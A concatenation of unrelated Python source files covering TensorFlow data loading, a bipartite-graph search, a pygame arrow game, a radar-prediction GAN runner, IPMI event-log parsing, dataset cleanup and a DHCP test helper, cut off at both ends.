                'label': tf.train.Feature(int64_list=tf.train.Int64List(value=[index])),
                'img_raw': tf.train.Feature(bytes_list=tf.train.BytesList(value=[img_raw]))
            }))#用example对象将label和image进行封装
            writer.write(example.SerializeToString())  # 序列化为字符串
    writer.close()

def read_own_decode(filename,batch_size):
    """filename是读取tfrecords数据路径，batch_size是缓冲读取数量"""
    """一个Example中包含Features，Features里包含Feature（这里没s）的字典。最后，Feature里包含有一个 FloatList， 或者ByteList，或者Int64List"""
    filename_quene=tf.train.string_input_producer([filename])#获取文件队列

    reader=tf.TFRecordReader()
    _,serialized_example=reader.read(filename_quene)#读一个序列化的样本
    features=tf.parse_single_example(serialized_example,features={
        'label':tf.FixedLenFeature([21],tf.int64),
        'img_raw':tf.FixedLenFeature([],tf.string)
    })
    img=tf.decode_raw(features['img_raw'],tf.uint8)
    img=tf.reshape(img,[28,28,3])
    img=tf.cast(img,tf.float32)*(1./255)
    label=tf.cast(features['label'],tf.int32)
    try:
        img_batch, label_batch = tf.train.shuffle_batch([img, label], batch_size=batch_size, num_threads=2, capacity=500,
                                                            min_after_dequeue=200)
    except:
        print("数据已经读取完毕")

    return img_batch,label_batch
# def make_dataset_from_tfrecord_file(filename,batch_size):
#     filename_list=[filename]
#     dataset=tf.data.TFRecordDataset(filename_list).repeat()
#     dataset=dataset.batch(batch_size)
#     return dataset
#
# def read(filename,batch_size):
#     dataset=read_own_decode(filename,batch_size)
#     iterator=dataset.make_initializable_iterator()
#     return iterator.get_next()
def read_test(filename):
    """"读取tfrecords测试"""
    """一个Example中包含Features，Features里包含Feature（这里没s）的字典。最后，Feature里包含有一个 FloatList， 或者ByteList，或者Int64List"""
    for serialized_example in tf.python_io.tf_record_iterator(filename):
        example = tf.train.Example()
        example.ParseFromString(serialized_example)

        image = example.features.feature['image'].bytes_list.value
        label = example.features.feature['label'].int64_list.value
        # 可以做一些预处理之类的
        print(image, label)

if __name__=='__main__':

    cwd = './test/UCMerced_LandUse/Images/'
    tofile='./test/UCMerced_LandUse/UCMerced_LandUse_train.tfrecords'
    # make_decode(cwd,tofile)
    ll.level(3)
    img,label=read_own_decode(tofile,5)

    sess=tf.Session()
    with sess.as_default():
        print(img)
        print(img.eval())
        print(type(img))
        print(label)
        print(label.eval())
        print(type(label))
    # read_test(tofile)


class Node():
    def __init__(self, state, parent, action, group):
        self.state = state
        self.parent = parent
        self.action = action
        self.group = group

class StackFrontier():
    def __init__(self):
        self.frontier = []

    def add(self, node):
        self.frontier.append(node)

    def contains_state(self, state):
        return any(node.state == state for node in self.frontier)

    def empty(self):
        return len(self.frontier) == 0

    def remove(self):
        if self.empty():
            raise Exception("empty frontier")
        else:
            node = self.frontier[-1]
            self.frontier = self.frontier[:-1]
            return node

class QueueFrontier(StackFrontier):

    def remove(self):
        if self.empty():
            raise Exception("empty frontier")
        else:
            node = self.frontier[0]
            self.frontier = self.frontier[1:]
            return node

''' checking if graph is bipartite and connected '''
class BipartiteGraph:
    '''
    graph represented by ke value pair
    'A' : ['B', 'C'] << A connected to B and C
    '''
    def __init__(self, graph):
        self.graph = graph
        self.groups = {"u":set(), "v":set()}

    def solve(self, start):
        ''' graph is represented with dictionary '''
        if type(self.graph) != dict:
            raise Exception("it is not a graph")

        ''' start with any node in graph '''
        if start not in self.graph.keys():
            raise Exception(f"there is no node {start} in graph")

        ''' initial state '''
        node = Node(start, None, None, 'u')
        frontier = QueueFrontier()
        frontier.add(node)

        # ''' initial state '''
        # node = Node(start, None, None, 'u')
        # frontier = QueueFrontier()
        # frontier.add(node)

        while True:
            ''' no solution if frontier empty '''
            if frontier.empty():
                raise Exception("not bipartite graph")

            ''' dequeue the first node in frontier '''
            node = frontier.remove()
            print(node.state)
            ''' add to spesific set (u/v) '''
            self.groups[node.group].add(node.state)
            print(f'{node.group} --> {self.groups[node.group]}')
            '''
            graph is connected and bipartite if sum of set u and v = the number of nodes in the graph
            every node has been visited
            '''
            if len(self.groups['u']) + len(self.groups['v']) == len(self.graph) and frontier.empty():
                return 'bipartite graph'

            ''' traverse all node's neighbours '''
            for neighbours in self.graph[node.state]:
                ''' graph is not bipartite if in the same set with the adjacent node '''
                if neighbours in self.groups[node.group]:
                    return 'not bipartite graph'
                ''' don add to frontier if neighbours either in set u or set v '''
                if neighbours in self.groups['v'] or neighbours in self.groups['u']:
                    continue

                ''' create new node and add it to frontier '''
                new_node = Node(neighbours, None, None, 'v' if node.group == 'u' else 'u')
                frontier.add(new_node)

def main():
    graph = {"a"}
    bipartite = BipartiteGraph(graph)
    print(bipartite.solve('a'))

if __name__ == "__main__":
    main()


from pystrain.station import Station

def parse_ascii_input(filename):
    """Parse station info from an input file.

        This function will try to read Stations of from the input file, named
        filename. For this to work, the lines in the input file, should conform
        to the following format:
        "name lon lat Ve Vn Se Sn RHO T"
        where lon and lat are in decimal degrees and velocity components and
        sigmas are in mm/year.
        For more information, see the functions:
        Station.init_from_ascii_line()
        Station.Station() --aka the constructor--.

        Args:
            filename (string): the name of the file holding station info (see
                               description above).

        Returns:
            list of Station instances or None (if no station was read)

    """
    stations = []
    with open(filename) as fin:
        for line in fin.readlines():
            stations.append(Station(line))
    if len(stations):
        return stations
    else:
        return None


# uncompyle6 version 3.7.4
# Python bytecode 2.4 (62061)
# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04)
# [GCC 8.4.0]
# Embedded file name: build/bdist.linux-ppc/egg/garbas/forum/notification.py
# Compiled at: 2008-09-27 01:25:51
from Acquisition import aq_inner
from BTrees.OOBTree import OOBTree
from persistent.list import PersistentList
from zope.interface import implements
from zope.annotation.interfaces import IAnnotations
from Products.CMFCore.utils import getToolByName
from garbas.forum.interfaces import IForumNotification
NOTIFICATION_KEY = 'garbas.forum.notification'

class ForumNotification(object):
    """ notification """
    __module__ = __name__
    implements(IForumNotification)

    def __init__(self, context):
        self.context = aq_inner(context)
        self.annotations = IAnnotations(self.context)
        notifications = self.annotations.get(NOTIFICATION_KEY, None)
        if notifications is None:
            self.annotations[NOTIFICATION_KEY] = PersistentList()
        return

    def email_list(self, ignore=[]):
        email_list = []
        membership = getToolByName(self.context, 'portal_membership')
        for email in self.annotations[NOTIFICATION_KEY]:
            if email not in ignore:
                try:
                    ploneMember = membership.getMemberById(email)
                except:
                    ploneMember = None
                else:
                    if ploneMember:
                        ploneMemberEmail = ploneMember.getProperty('email')
                        if ploneMemberEmail:
                            email = ploneMemberEmail
                    email_list.append(email)

        return email_list

    def subscribe(self, email):
        if email not in self.annotations[NOTIFICATION_KEY]:
            if email:
                self.annotations[NOTIFICATION_KEY].append(email)

    def unsubscribe(self, email):
        if email in self.annotations[NOTIFICATION_KEY]:
            self.annotations[NOTIFICATION_KEY].remove(email)


#Import pygame module
import math
import pygame
from pygame.locals import *

#Initialize the pygame
pygame.init()

####game variables####
width = 640     # width of game screen
height = 480    # height of screen

#Create the screen
screen=pygame.display.set_mode((width, height))

#Color for background
GREEN = (0, 168, 42)

#Holds the current position of the player.  Set the start position of the player
X = 0
Y = 1
playerPos = [320, 375]

#The number of pixles to move the player each loop
PlayerSpeed = 5

#The image for the player, it is loaded from the file 'dude.png'
Player = pygame.image.load("images/dude.png")
playerWidth = Player.get_width()
playerHeight = Player.get_height()
playerOffset = [playerWidth/2, playerHeight/2]

#The image for the arrow
arrow = pygame.image.load("images/arrow.png")
#Holds direction and current position of arrows in flight
#0 holds arrow direction, 1 holds current position of arrow
DIRECTION = 0
POSITION  = 1
arrows = []
arrowSpeed = 10
arrowOffset = [playerWidth - 15, playerHeight - 15]

xMinMargin = 5
xMaxMargin = width - playerWidth
yMinMargin = 5
yMaxMargin = height - playerHeight

#Holds the current direction(s) the player is moving.  Set to no movement
#       left-a right-d up-w  down-s
keys = {K_a:0, K_d:0, K_w:0, K_s:0, }

def AngleBetween(pos0, pos1, offset):
    pos1 = OffsetPosition(pos1, offset)
    xDist = pos0[X] - pos1[X]
    yDist = pos0[Y] - pos1[Y]
    return math.atan2(yDist, xDist)

def OffsetPosition(position, offset):
    return [position[X] + offset[X], position[Y] + offset[Y]]

def InDegrees(radians):
    return 360 - radians * 57.3

def RotateAndBlit(screen, image, position, rotationAngle):
    imageRotated = pygame.transform.rotate(image, InDegrees(rotationAngle))
    rotatedRect = imageRotated.get_rect()
    positionAdjusted = [position[X] - rotatedRect.width/2, position[Y] - rotatedRect.height/2]
    screen.blit(imageRotated, positionAdjusted)

#Main Game loop.  The game runs for ever.
while True:
    #Fill screen with black
    screen.fill(GREEN)

    ##Rotate a copy of the player image to point to the mouse and place on screen
    mousePos = pygame.mouse.get_pos()
    #Determine angle between player position and the mouse position
    rotationAngle = AngleBetween(mousePos, playerPos, playerOffset)
    #Rotate image
    RotateAndBlit(screen, Player, playerPos, rotationAngle)

    ##Update each arrows position and place a rotated arrow image on the screen
    index = 0
    for a in arrows:
        movement = [math.cos(a[DIRECTION]) * arrowSpeed, math.sin(a[DIRECTION]) * arrowSpeed]
        updatedPosition = OffsetPosition(a[POSITION], movement)
        if 0 <= updatedPosition[X] >= width or 0 <= updatedPosition[Y] >= height:
            arrows.pop(index)
        else:
            a[POSITION] = updatedPosition
        ++index
        RotateAndBlit(screen, arrow, a[POSITION], a[DIRECTION])

    ##Loop over input to see if the keys w, s, a or d were pressed or released
    for event in pygame.event.get():
        if event.type == pygame.KEYDOWN:            #A key was pressed
            keys[event.key] = PlayerSpeed
        elif event.type == pygame.KEYUP:            #A key was released
            keys[event.key] = 0
        elif event.type == pygame.MOUSEBUTTONDOWN:  #The mouse button was clicked
            arrowDirection = AngleBetween(pygame.mouse.get_pos(), playerPos, playerOffset)

            cosAngle = math.cos(arrowDirection)
            sinAngle = math.sin(arrowDirection)
            adjustedArrowOffset = [playerPos[X] + cosAngle * 32.0 - sinAngle * 10.0,
                                   playerPos[Y] + sinAngle * 32.0 + cosAngle * 10.0]

            arrows.append([arrowDirection, adjustedArrowOffset])
        elif event.type == pygame.QUIT:             #The user quit
            pygame.quit()

    #Update players position
    xUpdated = playerPos[X] - keys[K_a] + keys[K_d]
    yUpdated = playerPos[Y] - keys[K_w] + keys[K_s]
    if xMinMargin <= xUpdated <= xMaxMargin:
        playerPos[X] = xUpdated
    if yMinMargin <= yUpdated <= yMaxMargin:
        playerPos[Y] = yUpdated

    #Draw screen
    pygame.display.flip()


import os
os.environ["CUDA_VISIBLE_DEVICES"] = "0"
#import os
os.environ['KMP_WARNINGS'] = 'off'
import multi_scale_gan.wmsg_constants as wc

import math
from multi_scale_gan.g_model import GeneratorModel
from multi_scale_gan.d_model import DiscriminatorModel
from data.radar_sequence_iterator import *
from multi_scale_gan.utils import *

class AVGRunner:
    def __init__(self, num_steps, model_load_path, num_test_rec):
        """
        Initializes the Adversarial Video Generation Runner.

        @param num_steps: The number of training steps to run.
        @param model_load_path: The path from which to load a previously-saved model.
                                Default = None.
        @param num_test_rec: The number of recursive generations to produce when testing. Recursive
                             generations use previous generations as input to predict further into
                             the future.
        """

        self.global_step = 50000
        self.num_steps = num_steps
        self.num_test_rec = num_test_rec
        self.best_valid_res = math.inf
        self.test_limit = 1
        self.test_count = 0
        config = tf.ConfigProto(allow_soft_placement=True)

        self.sess = tf.Session(config=config)
        self.summary_writer = tf.summary.FileWriter(wc.SUMMARY_SAVE_DIR, graph=self.sess.graph)

        if wc.ADVERSARIAL:
            print('Init discriminator...')
            self.d_model = DiscriminatorModel(self.sess,
                                              self.summary_writer,
                                              wc.TRAIN_HEIGHT,
                                              wc.TRAIN_WIDTH,
                                              wc.SCALE_CONV_FMS_D,
                                              wc.SCALE_KERNEL_SIZES_D,
                                              wc.SCALE_FC_LAYER_SIZES_D,
                                                  True)

        print('Init generator...')
        self.g_model = GeneratorModel(self.sess,
                                      self.summary_writer,
                                      wc.TRAIN_HEIGHT,
                                      wc.TRAIN_WIDTH,
                                      wc.FULL_HEIGHT,
                                      wc.FULL_WIDTH,
                                      wc.SCALE_FMS_G,
                                      wc.SCALE_KERNEL_SIZES_G,
                                      True)

        print('Init variables...')
        self.saver = tf.train.Saver(keep_checkpoint_every_n_hours=2)

        # initialize the data iterator
        self.train_data_itertor = \
            SequenceRadarDataIterator(
                root_path='/mnt/A/meteorological/RadarData/',
                mode='Train',
                height=700,
                width=900,
            )

        self.test_data_itertor = \
            SequenceRadarDataIterator(
                root_path='/mnt/A/meteorological/AllRadarData/',
                mode='Test',
                height=700,
                width=900
            )

        self.valid_data_iterator = \
            SequenceRadarDataIterator(
                root_path='/mnt/A/meteorological/RadarData/',
                mode='Valid',
                height=700,
                width=900
            )

        # if load path specified, load a saved model
        if model_load_path is not None:
            self.saver.restore(self.sess, model_load_path)
            print('Model restored from ' + model_load_path)
        else:
            pass
        self.sess.run(tf.global_variables_initializer())
    @property
    def vars(self):
        return  [var for var in tf.global_variables()]

    def count2(self):
        return np.sum([np.prod(v.get_shape().as_list()) for v in tf.trainable_variables()])

    def load_model(self,load_path):
        self.saver.restore(
            self.sess,
            load_path
        )
        print('model has been loaded')

    def save_model(self,save_path):

        self.saver.save(
            self.sess,
            save_path
        )
        print('model has been saved')

    def train(self):
        """
        Runs a training loop on the model networks.
        """
        for i in range(self.num_steps):
            if wc.ADVERSARIAL:
                # update discriminator
                batch = self.train_data_itertor.sample(wc.BATCH_SIZE)
                batch[batch>80.0] = 0
                batch[batch<15.0] = 0
                batch = normalize_frames(batch)
                # print('Training discriminator...')
                self.d_model.train_step(batch, self.g_model)

            # update generator
            batch = self.train_data_itertor.sample(wc.BATCH_SIZE)
            batch[batch > 80.0] = 0
            batch[batch < 15.0] = 0
            batch = normalize_frames(batch)
            # print('Training generator...')
            self.global_step = self.g_model.train_step(
                batch, discriminator=(self.d_model if wc.ADVERSARIAL else None))

            # save the models
            if self.global_step % wc.MODEL_SAVE_FREQ == 0:

                print('Saving models...')
                self.saver.save(self.sess,
                                wc.MODEL_SAVE_DIR + 'model.ckpt',
                                global_step=self.global_step)
                print('Saved models! save path is:',str(wc.MODEL_SAVE_DIR + 'model.ckpt'))

            # test generator model
            if self.global_step % wc.TEST_FREQ == 0:
                valid_res = self.valid()
                if valid_res < self.best_valid_res:
                    self.saver.save(self.sess,
                                    wc.MODEL_SAVE_DIR + 'model_best.ckpt')
                    print('Model improve')
                    self.best_valid_res = valid_res
                    self.test_count = 0
                else:
                    print('Model do not imporve')
                    self.test_count = self.test_count + 1

                if self.test_count > self.test_limit:
                    print('Model can not be imporved')
                    self.test()
                    break

    def valid(self):
        count = 0
        MSE = 0
        for i in range(self.valid_data_iterator.number_sample):
            frame_dat, names, file_name, = self.valid_data_iterator.sample_process(i)
            frame_dat[frame_dat > 80] = 0
            frame_dat[frame_dat < 15] = 0
            frame_dat = normalize_frames(frame_dat)
            for j in range((len(frame_dat) - 13) // 10):
                # print('current process ' + str(i) + '/' + str(
                #     self.valid_data_iterator.number_sample) + '\tfinish ' + str(
                #     100 * j / (len(frame_dat) - 13)) + '%')
                current_process = frame_dat[j * 5:j * 5 + 14]
                test_batch = current_process
                test_batch = test_batch.transpose((1, 2, 0))[np.newaxis, :, :, :]
                img_out = self.g_model.gen_pred(test_batch,10)
                tars = current_process[-10:]
                mse = np.mean(np.square(tars - img_out))
                MSE = MSE + mse
                count = count + 1
        MSE = MSE / count
        return MSE

    def test(self):
        count = 0
        MSE = 0
        clean_fold('/mnt/A/meteorological/2500_ref_seq/multi_scale_wgan_180000/')
        for i in range(self.test_data_itertor.number_sample):
            frame_dat, names, file_name, = self.test_data_itertor.sample_process(i)
            frame_dat[frame_dat > 80] = 0
            frame_dat[frame_dat < 15] = 0
            frame_dat = normalize_frames(frame_dat)
            clean_fold('/mnt/A/meteorological/2500_ref_seq/multi_scale_wgan_180000/' + file_name + '/')

            for j in range(len(frame_dat) - 23):
                print('current process ' + str(i) + '/' + str(
                    self.test_data_itertor.number_sample) + '\tfinish ' + str(
                    100 * j / (len(frame_dat) - 23)) + '%')
                current_names = names[j:j + 24]
                current_process = frame_dat[j:j + 24]
                test_batch = current_process[:14]
                test_batch = test_batch.transpose((1, 2, 0))[np.newaxis, :, :, :]
                tars = current_process[-10:]
                img_out = self.g_model.gen_pred(test_batch, 10)
                mse = np.mean(np.square(tars - img_out))
                MSE = MSE + mse
                count = count + 1
                img_out = denormalize_frames(img_out)
                clean_fold(
                    '/mnt/A/meteorological/2500_ref_seq/multi_scale_wgan_180000/' + file_name + '/process_' + str(j) + '/')
                clean_fold('/mnt/A/meteorological/2500_ref_seq/multi_scale_wgan_180000/' + file_name + '/process_' + str(
                    j) + '/predict/')
                for img_index in range(len(current_process) - 4):
                    if img_index < 10:
                        pass
                    else:
                        break
                    imsave('/mnt/A/meteorological/2500_ref_seq/multi_scale_wgan_180000/' + file_name + '/process_' + str(
                        j) + '/predict/pred_' + current_names[img_index + 4] + '.png',
                           img_out[img_index])

        MSE = MSE / count
        print('count is:', str(count), 'total mse is:', str(MSE))

        return MSE

    def read_files(self, path_list):
        imgs = []
        for path in path_list:
            img = imread(path)
            imgs.append(img)
        imgs = np.array(imgs)
        imgs[imgs > 80] = 0
        imgs[imgs < 15] = 0
        imgs = normalize_frames(imgs)
        imgs = imgs.transpose((1, 2, 0))[np.newaxis, :, :, :]
        return imgs

    def classic_test(self, path_list):
        assert len(path_list) == 14
        test_batch = self.read_files(path_list)
        img_outs = self.g_model.gen_pred(test_batch, 10)
        img_outs = denormalize_frames(img_outs)
        return img_outs

def main():

    test_only = True
    num_test_rec = 1  # number of recursive predictions to make on test
    num_steps = 480000
    load_path = None
    runner = AVGRunner(num_steps, load_path, num_test_rec)
    load_path = '../model_lib/multi_scale_wgan/model.ckpt'
    runner.load_model(load_path)

    # runner.test()
    # if test_only:
    #     runner.test()
    # else:
    #     runner.train()

if __name__ == '__main__':

    main()


# -*- coding: utf-8 -*-

import os
import torch
import random
import numpy as np

from huahuahua_models import RLSTM

# -----------------------Training parameters-----------------------

num_epochs = 10
GPU_id = "cuda:0"   # Specifies the graphics card
device = torch.device(GPU_id if torch.cuda.is_available() else "cpu")
lr_init = 0.01      # Initial learning rate
weights_path = "./pkl/"     # Model save path
weights_save_interval = 5   # Model save interval

# -----------------------Mock training data-----------------------

inputs = [[torch.randn(1, 10) for _ in range(5)] for _ in range(100)]   # train data, dimension：[batch,timeStamp,vector]
medias = [[torch.randn(1, 6) for _ in range(5)] for _ in range(100)]    # media data, structure as above
labels = [torch.from_numpy(np.array([random.randint(0, 1)])) for _ in range(100)]       # label in（0, 1）

# -----------------------Model initialization-----------------------

model = RLSTM(input_size=10, output_size=32, media_size=6, classification=True)
model = model.to(device)

# -----------------------Loss function、optimizer、learning rate decay-----------------------

criterion = torch.nn.CrossEntropyLoss()
optimizer = torch.optim.Adam(model.parameters(), lr=lr_init, betas=(0.9, 0.99))
exp_lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=2, gamma=0.5)

# -----------------------Train-----------------------

model.train(mode=True)

for epoch in range(num_epochs):
    print('Epoch {}/{}'.format(epoch, num_epochs - 1))
    print('-' * 20)

    exp_lr_scheduler.step()

    iteration = 0
    for input, media, label in zip(inputs, medias, labels):
        iteration += 1
        optimizer.zero_grad()

        label = label.to(device)
        out = None
        hidden = model.init_hidden()
        cell = model.init_cell()
        hidden = hidden.to(device)
        cell = cell.to(device)
        for i, m in zip(input, media):
            i = i.to(device)
            m = m.to(device)
            out, hidden, cell = model(i, m, hidden, cell)
        loss = criterion(out, label)
        loss.backward()
        optimizer.step()
        print("Epoch: {}\tIter: {}\tLoss: {}".format(epoch, iteration, loss.item()))

    if epoch % weights_save_interval == 0:
        if not os.path.exists(weights_path):
            os.mkdir(weights_path)
        torch.save(model.state_dict(), weights_path + "epoch_{}.pkl".format(epoch))

# -----------------------Inference-----------------------

inputs_val = [[torch.randn(1, 10) for _ in range(5)] for _ in range(10)]  # test data
medias_val = [[torch.randn(1, 6) for _ in range(5)] for _ in range(10)]

model.eval()

for input_val, media_val in zip(inputs_val, medias_val):
    optimizer.zero_grad()
    with torch.set_grad_enabled(False):
        hidden = model.init_hidden()
        cell = model.init_cell()
        hidden = hidden.to(device)
        cell = cell.to(device)
        out = None
        for i, m in zip(input_val, media_val):
            i = i.to(device)
            m = m.to(device)
            out, hidden, cell = model(i, m, hidden, cell)
        _, out_val = torch.max(out, 1)
        print(out_val.cpu().numpy())


# Copyright (c) 2014  Kontron Europe GmbH
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA

#from builtins import range
#from builtins import object

import time

from .errors import DecodingError, CompletionCodeError, RetryError
from .utils import check_completion_code, ByteBuffer
from .msgs import create_request_by_name
from .msgs import constants
from .event import EVENT_ASSERTION, EVENT_DEASSERTION

from .helper import clear_repository_helper
from .state import State

class Sel(object):
    def get_sel_entries_count(self):
        info = SelInfo(self.send_message_with_name('GetSelInfo'))
        return info.entries

    def get_sel_reservation_id(self):
        rsp = self.send_message_with_name('ReserveSel')
        return rsp.reservation_id

    def _clear_sel(self, cmd, reservation):
        rsp = self.send_message_with_name('ClearSel',
                reservation_id=reservation, cmd=cmd)
        return rsp.status.erase_in_progress

    def clear_sel(self, retry=5):
        clear_repository_helper(self.get_sel_reservation_id,
                self._clear_sel, retry)

    def sel_entries(self):
        """Generator which returns all SEL entries."""
        rsp = self.send_message_with_name('GetSelInfo')
        if rsp.entries == 0:
            return
        reservation_id = self.get_sel_reservation_id()
        next_record_id = 0
        while True:
            req = create_request_by_name('GetSelEntry')
            req.reservation_id = reservation_id
            req.record_id = next_record_id
            req.offset = 0
            self.max_req_len = 0xff # read entire record

            record_data = ByteBuffer()
            while True:
                req.length = self.max_req_len
                if (self.max_req_len != 0xff
                        and (req.offset + req.length) > 16):
                    req.length = 16 - req.offset

                rsp = self.send_message(req)
                if rsp.completion_code == constants.CC_CANT_RET_NUM_REQ_BYTES:
                    if self.max_req_len  == 0xff:
                        self.max_req_len = 16
                    else:
                        self.max_req_len -= 1
                    continue
                else:
                    check_completion_code(rsp.completion_code)

                record_data.extend(rsp.record_data)
                req.offset = len(record_data)

                if len(record_data) >= 16:
                    break

            next_record_id = rsp.next_record_id

            yield SelEntry(record_data)
            if next_record_id == 0xffff:
                break

    def get_sel_entries(self):
        '''Returns all SEL entries as a list.'''
        return list(self.sel_entries())

class SelInfo(State):

    def _from_response(self, rsp):
        self.version = rsp.version
        self.entries = rsp.entries
        self.free_bytes = rsp.free_bytes
        self.most_recent_addition = rsp.most_recent_addition
        self.most_recent_erase = rsp.most_recent_erase
        self.operation_support = []
        if rsp.operation_support.get_sel_allocation_info:
           self.operation_support.append('get_sel_allocation_info')
        if rsp.operation_support.reserve_sel:
           self.operation_support.append('reserve_sel:')
        if rsp.operation_support.partial_add_sel_entry:
           self.operation_support.append('partial_add_sel_entry')
        if rsp.operation_support.delete_sel:
           self.operation_support.append('delete_sel')
        if rsp.operation_support.overflow_flag:
           self.operation_support.append('overflow_flag')

class SelEntry(State):
    TYPE_SYSTEM_EVENT = 0x02
    TYPE_OEM_TIMESTAMPED_RANGE = list(range(0xc0, 0xe0))
    TYPE_OEM_NON_TIMESTAMPED_RANGE = list(range(0xe0, 0x100))

    def __str__(self):
        s = '[%s]' % (' '.join(['%02x' % b for b in self.data]))
        str = []
        str.append('SEL Record ID 0x%04x' % self.record_id)
        str.append('  Raw: %s' % s)
        str.append('  Type: %d' % self.type)
        str.append('  Timestamp: %d' % self.timestamp)
        str.append('  Generator: %d' % self.generator_id)
        str.append('  EvM rev: %d' % self.evm_rev)
        str.append('  Sensor Type: 0x%02x' % self.sensor_type)
        str.append('  Sensor Number: %d' % self.sensor_number)
        str.append('  Event Direction: %d' % self.event_direction)
        str.append('  Event Type: 0x%02x' % self.event_type)
        str.append('  Event Data: 0x%s' % self.event_data.encode('hex'))
        return "\n".join(str)

    def type_to_string(self, type):
        s = None
        if type == SelEntry.TYPE_SYSTEM_EVENT:
            s = 'System Event'
        elif type in SelEntry.TYPE_OEM_TIMESTAMPED_RANGE:
            s = 'OEM timestamped (0x%02x)' % type
        elif type in SelEntry.TYPE_OEM_NON_TIMESTAMPED_RANGE:
            s = 'OEM non-timestamped (0x%02x)' % type
        return s

    def _from_response(self, data):
        if len(data) != 16:
            raise DecodingError('Invalid SEL record length (%d)' % len(data))

        self.data = data

        # pop will change data, therefore copy it
        buffer = ByteBuffer(data)

        self.record_id = buffer.pop_unsigned_int(2)
        self.type = buffer.pop_unsigned_int(1)
        if (self.type != self.TYPE_SYSTEM_EVENT
                and self.type not in self.TYPE_OEM_TIMESTAMPED_RANGE
                and self.type not in self.TYPE_OEM_NON_TIMESTAMPED_RANGE):
            raise DecodingError('Unknown SEL type (0x%02x)' % self.type)
        self.timestamp = buffer.pop_unsigned_int(4)
        self.generator_id = buffer.pop_unsigned_int(2)
        self.evm_rev = buffer.pop_unsigned_int(1)
        self.sensor_type = buffer.pop_unsigned_int(1)
        self.sensor_number = buffer.pop_unsigned_int(1)
        event_desc = buffer.pop_unsigned_int(1)
        if event_desc & 0x80:
            self.event_direction = EVENT_DEASSERTION
        else:
            self.event_direction = EVENT_ASSERTION
        self.event_type = event_desc & 0x3f
        self.event_data = buffer.pop_string(3)


# policy_collect.py leaves some blank frames in every .h5 file,
# so this program deletes them

import numpy as np
import h5py
import tflearn
import matplotlib.pyplot as plt
import scipy.misc
import math
import matplotlib.cbook as cbook
from scipy.misc import imshow
import time
from os import walk
import os
import sys
from convertfloat import *

directory = '/media/mpcr/Storage/deepcontrol/sim-datasets/'

directory = directory + raw_input("Input folder name from /media/mpcr/Storage/deepcontrol/sim-datasets/: ")

if not os.path.isdir(directory + '/fixed/'):
    os.makedirs(directory + '/fixed/')

def is_number(s):
    try:
        float(s)
        return True
    except ValueError:
        pass
    try:
        import unicodedata
        unicodedata.numeric(s)
        return True
    except (TypeError, ValueError):
        pass
    return False

data_files = []

# Get all filenames of datasets into a list
for (dirpath, dirnames, filenames) in walk(directory):
    data_files.extend(filenames)
    break
# Extract the dataset numbers
for i in range(len(data_files)):
    if is_number(data_files[i][9]):
        data_files[i] = int(data_files[i][7] + data_files[i][8] + data_files[i][9])
    elif is_number(data_files[i][8]):
        data_files[i] = int(data_files[i][7] + data_files[i][8])
    else:
        data_files[i] = int(data_files[i][7])

data_files.sort()

print(data_files)

if raw_input("Are you sure you want to continue? ") != "yes":
    sys.exit()

def return_keys(keystates):
    key_string = ""
    for i in range(len(keystates)):
        if keystates[i] == 1.:
            if i == 0:
                key_string += "right-"
            if i == 1:
                key_string += "down-"
            if i == 2:
                key_string += "shift-"
            if i == 3:
                key_string += "up-"
            if i == 4:
                key_string += "down-"
            if i == 5:
                key_string += "left-"
    return key_string

for set_num in range(len(data_files)):
    h5f = []
    print("Deleting blank frames from dataset %s" % data_files[set_num])
    h5f.append(h5py.File(directory + '/dataset' + str(data_files[set_num]) + '.h5'))

    image_set = np.asarray(h5f[0]['X'])
    action_array_set = np.asarray(h5f[0]['Y'])
    action_array_set = action_array_set.astype(int)
    mph = np.asarray(h5f[0]['Z'])
    mph = mph.astype(int)

    nframes = action_array_set.shape[0]

    image_set = np.squeeze(image_set)

    i = 0
    while i < nframes-1:
        if np.sum(image_set[i,:,:]) < 10:
            image_set = np.delete(image_set, i, axis=0)
            action_array_set = np.delete(action_array_set, i, axis=0)
            print("Removed!")
        key_string = return_keys(action_array_set[i])
        nframes = action_array_set.shape[0]
        i += 1

    h5f = h5py.File(directory + '/fixed/dataset%s.h5' % data_files[set_num], 'w')
    h5f.create_dataset('X', data=image_set)
    h5f.create_dataset('Y', data=action_array_set)
    h5f.create_dataset('Z', data=mph)

    h5f.close()

print("Now converting floats...")

convert_float(directory + '/fixed/')


#!/usr/bin/python3
if __name__ == "__main__":
    from sys import argv
    argvlen = len(argv) - 1
    i = 1
    j = 0

    while i <= argvlen:
        argv[i] = int(argv[i])
        j += argv[i]
        i += 1
    print('{:d}'.format(j))


import logging
import tng
from tng.proxy.concurrent import concurrent
from tng_sl.contrib.setup_helper import SetupHelper
from tng_sl.contrib.log_wrappers import selflogger
from tng_sl.contrib.mpp.phone_config_helper import PhoneConfigHelper

log = logging.getLogger(__file__)

class DhcpHelper(SetupHelper):
    log = log
    dependencies = (PhoneConfigHelper,)

    @selflogger
    def setUpClass(self, cls):

        cls.dhcp = tng.api.get_system('dhcp')
        if getattr(cls.dhcp, 'dhcp_file'):
            cls.dhcp.backup_configfile()
        if getattr(cls.dhcp, 'dhcp6_file'):
            cls.dhcp.backup_configfile6()

        def recover_server():
            if getattr(cls.dhcp, 'dhcp_file_backup'):
                cls.dhcp.recover_configfile(remove_backup=True)
                cls.dhcp.ctrl_service('restart')
            if getattr(cls.dhcp, 'dhcp6_file_backup'):
                cls.dhcp.recover_configfile6(remove_backup=True)
                cls.dhcp.dhcp6_service('restart')
            # Restart the phones to make them get the original DHCP options
            if cls.devices and (
                    getattr(cls.dhcp, 'dhcp_file_backup') or
                    getattr(cls.dhcp, 'dhcp6_file_backup')):
                concurrent([d.restart for d in cls.devices])

        cls.addCleanupClass(recover_server)

    @selflogger
    def setUp(self, obj):
        # clear fixed hosts, recover the dhcp config file to original content
        obj.addCleanup(obj.dhcp.clear_host_config, hostmac='all')
        obj.addCleanup(obj.dhcp.clear_host6_config, hostmac='all')
        if getattr(obj.dhcp, 'dhcp_file_backup'):
